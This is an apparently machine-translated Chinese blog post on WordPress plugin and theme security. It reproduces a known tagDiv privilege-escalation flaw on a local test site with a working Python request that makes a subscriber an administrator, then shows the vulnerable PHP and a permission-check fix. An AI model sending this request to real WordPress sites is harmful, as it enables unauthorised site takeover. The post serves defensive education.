WordPress安全吗?或为什么应仔细处理网站安全
#网络开发人员 #安全 #php #wordpress

这个问题经常在论坛上提出,而且我也经常被问到。首先,让我们考虑以下内容:没有100%安全。不是一个应用程序,尤其是在互联网上。
现在,我们知道基础知识,让我们仔细研究WordPress生态系统。 WP以此为核心,非常安全。如果您设置了新的安装,请使用库存主题,并且不会安装任何插件,则可以将其视为安全的地方。当您想为主题或插件添加一些光泽或功能时,就会出现麻烦。

wordpress security

为什么?好吧,WordPress团队通过保护和监视其代码来表现出色(同样,它不是100%安全的,有时甚至在核心代码中也会发现漏洞,但它发生越来越少)。相反,每个插件/主题团队都负责自己的产品。在这种情况下,“团队”可以是1个人或100人 - 这取决于

再次,有许多因素影响第三方脚本安全性,不仅是支持该产品的人数。为了说明问题,请看一下here-这是在不同数字软件中发现的公共漏洞数据库。他们中的大多数现在都已修补,但只需查看我们每天使用的软件中显示了多少个安全缺陷!

说明这不是一个笑话(谁知道,也许Cvedetails使用了错误的信息?),应该认真对待信息安全性,我发现了该主题的过时版本,这对网站I mentioned上的错误很容易受到影响。 。

从详细信息中看到,该错误已在2.7+版本中固定,因此我发现了Tagdiv库v2.5,安装了Fresh WP和脆弱的主题。 CVE详细信息告诉我们,(如果我们要处理旧版本),我们可以将任意用户成为网站管理员。让我们检查一下!

首先,我创建了一个名为“ Test”的新用户,并将其设置为“订户”角色。您可以在屏幕截图中看到它:

A new user - subscriber

现在,让我们使用Python根据CVE详细信息发送请求:

import requests
r = requests.post('http://vsite.local/wp-admin/admin-ajax.php', data={'action': 'tdb_user_form_on_submit', 'userID': 2, 'formElements': json.dumps({"content-fields":[{"name":"wp_capabilities","value":{"administrator":True}}]}) })

我们使用USERID 2,因为我的新用户具有ID 2,并且我们告诉WP我们要更新指定用户的功能并将其推广为管理员。
让我们检查回答:

print(r.content)
b'{"success":"Your profile information has been successfully updated.","errors":[]}'

所以,让我们来吧...是的!用户现在为管理!哇!

The user is now admin

为什么会发生?
好吧,首先,在插件代码中使用的$ user_id变量未检查恶意输入,其次,该代码没有检查提出请求的用户是否能够促进其他用户:

$user_id = $_POST['userID'];
$form_elements = json_decode(str_replace('\\', "", $_POST['formElements']), true);

//...

$user_obj = get_user_by('ID', $user_id);

//..

if( !$user_obj ) {
    $reply['errors'][] = 'An unexpected error has occured. Please try again.';
} else {

    // Handle the content fields
    if( isset( $form_elements['content-fields'] ) && !empty( $form_elements['content-fields'] ) ) {
        $content_fields = $form_elements['content-fields'];

        foreach ( $content_fields as $content_field ) {
            update_user_meta($user_id, $content_field['name'], $content_field['value'] );
        }

        //rest of the code
    }
}

修复?
最有趣的部分是,可以通过在进一步发展之前检查用户角色(字面线 +形成响应),可以很容易地修复此代码:

if ( !current_user_can( 'manage_options' ) ) {
    $reply['errors'][] = 'Not enough permissions!';
    die( json_encode( $reply ) );
}

$user_id = $_POST['userID'];

//... rest of the code

这只是许多问题。当然,并非所有的问题都是危险的,但是任何安全缺陷,甚至是一个很小的漏洞都会影响该品牌的声誉。因此,关注软件更新非常重要。虽然WP Core足够安全,但应定期监控主题和插件。


其他类似的帖子:
A couple of thoughts about the e-commerce security